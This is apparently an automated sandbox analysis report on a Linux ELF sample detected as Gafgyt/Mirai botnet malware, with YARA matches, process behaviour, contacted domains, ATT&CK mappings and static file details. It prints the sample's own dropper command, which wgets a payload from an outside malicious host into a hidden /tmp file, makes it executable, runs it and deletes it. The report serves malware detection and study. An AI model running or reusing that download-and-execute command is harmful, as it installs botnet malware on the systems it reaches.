Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 5e2cb111c2b712951b71166111d339724b4f52b93f90cb474f1e67598212605f, id = dd0d6173-b863-45cf-9348-3375a4e624cf, last_modified = 2021-09-16
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 83377b6fa77fda4544c409487d2d2c1ddcef8f7d4120f49a18888c7536f3969f, id = 779e142f-b867-46e6-b1fb-9105976f42fd, last_modified = 2021-09-16
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_cf84c9f2 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = bb766b356c3e8706740e3bb9b4a7171d8eb5137e09fc7ab6952412fa55e2dcfc, id = cf84c9f2-7435-4faf-8c5f-d14945ffad7a, last_modified = 2021-09-16
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_859042a0 reference_sample = 41615d3f3f27f04669166fdee3996d77890016304ee87851a5f90804d6d4a0b0, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a27bcaa16edceda3dc5a80803372c907a7efd00736c7859c5a9d6a2cf56a8eec, id = 859042a0-a424-4c83-944b-ed182b342998, last_modified = 2021-09-16
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_862c4e0e reference_sample = 9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 2a6b4f8d8fb4703ed26bdcfbbb5c539dc451c8b90649bee80015c164eae4c281, id = 862c4e0e-83a4-458b-8c00-f2f3cf0bf9db, last_modified = 2021-09-16
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = cdd0bb9ce40a000bb86b0c76616fe71fb7dbb87a044ddd778b7a07fdf804b877, id = a6a2adb9-9d54-42d4-abed-5b30d8062e97, last_modified = 2021-09-16
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 1c5df68501b688905484ed47dc588306828aa7c114644428e22e5021bb39bd4a, id = f3d83a74-2888-435a-9a3c-b7de25084e9a, last_modified = 2021-09-16
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 reference_sample = cf1ca1d824c8687e87a5b0275a0e39fa101442b4bbf470859ddda9982f9b3417, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 891cfc6a4c38fb257ada29050e0047bd1301e8f0a6a1a919685b1fcc2960b047, id = a0a4de11-fe65-449f-a990-ad5f18ac66f0, last_modified = 2021-09-16
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 84fad96b60b297736c149e14de12671ff778bff427ab7684df2c541a6f6d7e7d, id = 09c3070e-4b71-45a0-aa62-0cc6e496644a, last_modified = 2021-09-16
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_46eec778 reference_sample = 9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 2602371a40171870b1cf024f262e95a2853de53de39c3a6cd3de811e81dd3518, id = 46eec778-7342-4ef7-adac-35bc0cdb9867, last_modified = 2021-09-16
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 5e2cb111c2b712951b71166111d339724b4f52b93f90cb474f1e67598212605f, id = dd0d6173-b863-45cf-9348-3375a4e624cf, last_modified = 2021-09-16
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 83377b6fa77fda4544c409487d2d2c1ddcef8f7d4120f49a18888c7536f3969f, id = 779e142f-b867-46e6-b1fb-9105976f42fd, last_modified = 2021-09-16
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_cf84c9f2 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = bb766b356c3e8706740e3bb9b4a7171d8eb5137e09fc7ab6952412fa55e2dcfc, id = cf84c9f2-7435-4faf-8c5f-d14945ffad7a, last_modified = 2021-09-16
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_859042a0 reference_sample = 41615d3f3f27f04669166fdee3996d77890016304ee87851a5f90804d6d4a0b0, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a27bcaa16edceda3dc5a80803372c907a7efd00736c7859c5a9d6a2cf56a8eec, id = 859042a0-a424-4c83-944b-ed182b342998, last_modified = 2021-09-16
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_862c4e0e reference_sample = 9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 2a6b4f8d8fb4703ed26bdcfbbb5c539dc451c8b90649bee80015c164eae4c281, id = 862c4e0e-83a4-458b-8c00-f2f3cf0bf9db, last_modified = 2021-09-16
Source: Process Memory Space: x86.elf PID: 5528, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: x86.elf PID: 5530, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: x86.elf PID: 5531, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal96.spre.troj.linELF@0/0@6/0

Source: x86.elf	ELF static info symbol of initial sample: libc/string/x86_64/bzero.S
Source: x86.elf	ELF static info symbol of initial sample: libc/string/x86_64/memcpy.S
Source: x86.elf	ELF static info symbol of initial sample: libc/string/x86_64/mempcpy.S
Source: x86.elf	ELF static info symbol of initial sample: libc/string/x86_64/memset.S
Source: x86.elf	ELF static info symbol of initial sample: libc/string/x86_64/strchr.S
Source: x86.elf	ELF static info symbol of initial sample: libc/string/x86_64/strcmp.S
Source: x86.elf	ELF static info symbol of initial sample: libc/string/x86_64/strcpy.S
Source: x86.elf	ELF static info symbol of initial sample: libc/string/x86_64/strcspn.S
Source: x86.elf	ELF static info symbol of initial sample: libc/string/x86_64/strlen.S
Source: x86.elf	ELF static info symbol of initial sample: libc/string/x86_64/strpbrk.S
Source: x86.elf	ELF static info symbol of initial sample: libc/string/x86_64/strspn.S
Source: x86.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/x86_64/crt1.S
Source: x86.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/x86_64/crti.S
Source: x86.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/x86_64/crtn.S
Source: x86.elf	ELF static info symbol of initial sample: libc/sysdeps/linux/x86_64/vfork.S

Source: /usr/bin/wget (PID: 5533)	File: /tmp/.....	Jump to behavior
Source: /bin/sh (PID: 5535)	Directory: /tmp/.....	Jump to behavior
Source: /bin/sh (PID: 5535)	Directory: /tmp/.....	Jump to behavior

Source: /usr/bin/wget (PID: 5533)

Empty hidden file: /tmp/.....

Jump to behavior

Source: /tmp/x86.elf (PID: 5529)

Shell command executed: /bin/sh -c "wget -q http://gay.energy/.../vivid -O .....;chmod 777 .....;./.....;rm -rf ....."

Jump to behavior

Source: /bin/sh (PID: 5534)

Chmod executable: /usr/bin/chmod -> chmod 777 .....

Jump to behavior

Source: /bin/sh (PID: 5537)

Rm executable: /usr/bin/rm -> rm -rf .....

Jump to behavior

Source: /bin/sh (PID: 5533)

Wget executable: /usr/bin/wget -> wget -q http://gay.energy/.../vivid -O .....

Jump to behavior

Source: /usr/bin/chmod (PID: 5534)

File: /tmp/..... (bits: - usr: rwx grp: rwx all: rwx)

Jump to behavior

Source: /bin/sh (PID: 5534)

Chmod executable with 777: /usr/bin/chmod -> chmod 777 .....

Jump to behavior

Source: /usr/bin/wget (PID: 5533)

Queries kernel information via 'uname':

Jump to behavior

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match

File source: x86.elf, type: SAMPLE

Yara detected Mirai

Source: Yara match	File source: x86.elf, type: SAMPLE
Source: Yara match	File source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x86.elf PID: 5528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x86.elf PID: 5530, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x86.elf PID: 5531, type: MEMORYSTR

Source: Initial sample	User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00
Source: Initial sample	User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00
Source: Initial sample	User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00
Source: Initial sample	User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01
Source: Initial sample	User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Source: Initial sample	User agent string found: Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Source: Initial sample	User agent string found: Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51
Source: Initial sample	User agent string found: Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36
Source: Initial sample	User agent string found: Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
Source: Initial sample	User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Source: Initial sample	User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0

Remote Access Functionality

Yara detected Gafgyt

Source: Yara match

File source: x86.elf, type: SAMPLE

Yara detected Mirai

Source: Yara match	File source: x86.elf, type: SAMPLE
Source: Yara match	File source: 5530.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5531.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5528.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x86.elf PID: 5528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x86.elf PID: 5530, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x86.elf PID: 5531, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 Hide Artifacts	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	2 File and Directory Permissions Modification	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Hidden Files and Directories	Security Account Manager	1 Remote System Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
x86.elf	62%	Virustotal		Browse
x86.elf	69%	ReversingLabs	Linux.Trojan.LnxGafgyt
x86.elf	100%	Avira	LINUX/Mirai.Gafgyt.

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high
gay.energy	unknown	unknown	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
92.60.77.69	unknown	Italy		5602	AS-IRIDEOS-KPIT	true

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	arm5.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	arm6.elf	Get hash	malicious	Gafgyt	Browse	162.213.35.24
	rep.arc.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	Space.arm5.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	Space.spc.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	O4WmcV1laq.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	onNhrf5u66.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	NkUW8QQONi.elf	Get hash	malicious	BPFDoor	Browse	162.213.35.24
	7T1E6ZHN3w.elf	Get hash	malicious	Unknown	Browse	162.213.35.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-IRIDEOS-KPIT	armv4l.elf	Get hash	malicious	Unknown	Browse	193.28.95.59
	nullnet_load.arm7.elf	Get hash	malicious	Mirai	Browse	109.233.129.42
	8427xbk3Zt.elf	Get hash	malicious	Unknown	Browse	109.233.130.43

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
Entropy (8bit):	5.861227442959651
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	x86.elf
File size:	136'901 bytes
MD5:	b1a9dfc6e42c89e400efad9451540b1e
SHA1:	90bec36b5d46d4f4d06d19360d217b474c9d3f32
SHA256:	5f0788259247b6d55e2d7dc87bd5ef445472cd3132b38971b3f252ee8f8ed91e
SHA512:	f38b21e75bed988979c6c08d4db928649e4a6a169787052883005e0a7bb6d1eed9928edb696a74d1840139c05ce4828707fd7c637e6399b94d722d2e8901dfdc
SSDEEP:	3072:IObua3oWiWwqgU+MdZKtXO8TmqFV+ickmr1zwT2WNn:zo85dmn3fckmr1zwT2WNn
TLSH:	8BD31937D16584BAC08712F116EFC632AD63BCFB073121572394BEA05F3289ADE99746
File Content Preview:	.ELF..............>.......@.....@...................@.8...@.......................@.......@......Q.......Q.......................`.......`Q......`Q.....81......8...............Q.td....................................................H...._........H........

Static ELF Info

ELF header
Class:	ELF64
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Advanced Micro Devices X86-64
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400194
Flags:	0x0
ELF Header Size:	64
Program Header Offset:	64
Program Header Size:	56
Number of Program Headers:	3
Section Header Offset:	105912
Section Header Size:	64
Number of Section Headers:	15
Header String Table Index:	12

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x4000e8	0xe8	0x13	0x0	0x6	AX	0	0	1
.text	PROGBITS	0x400100	0x100	0xfed4	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x40ffd4	0xffd4	0xe	0x0	0x6	AX	0	0	1
.rodata	PROGBITS	0x410000	0x10000	0x51f0	0x0	0x2	A	0	0	32
.eh_frame	PROGBITS	0x516000	0x16000	0x2b9c	0x0	0x3	WA	0	0	8
.ctors	PROGBITS	0x518ba0	0x18ba0	0x10	0x0	0x3	WA	0	0	8
.dtors	PROGBITS	0x518bb0	0x18bb0	0x10	0x0	0x3	WA	0	0	8
.jcr	PROGBITS	0x518bc0	0x18bc0	0x8	0x0	0x3	WA	0	0	8
.data	PROGBITS	0x518be0	0x18be0	0x558	0x0	0x3	WA	0	0	32
.bss	NOBITS	0x519140	0x19138	0x6cf8	0x0	0x3	WA	0	0	32
.comment	PROGBITS	0x0	0x19138	0xc18	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x19d50	0x66	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x1a178	0x4db8	0x18	0x0		14	291	8
.strtab	STRTAB	0x0	0x1ef30	0x2795	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x151f0	0x151f0	6.3971	0x5	R E	0x100000	.init .text .fini .rodata
LOAD	0x16000	0x516000	0x516000	0x3138	0x9e38	3.5764	0x6	RW	0x100000	.eh_frame .ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x8

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
	.symtab	0x4000e8	0	SECTION	<unknown>	DEFAULT	1
	.symtab	0x400100	0	SECTION	<unknown>	DEFAULT	2
	.symtab	0x40ffd4	0	SECTION	<unknown>	DEFAULT	3
	.symtab	0x410000	0	SECTION	<unknown>	DEFAULT	4
	.symtab	0x516000	0	SECTION	<unknown>	DEFAULT	5
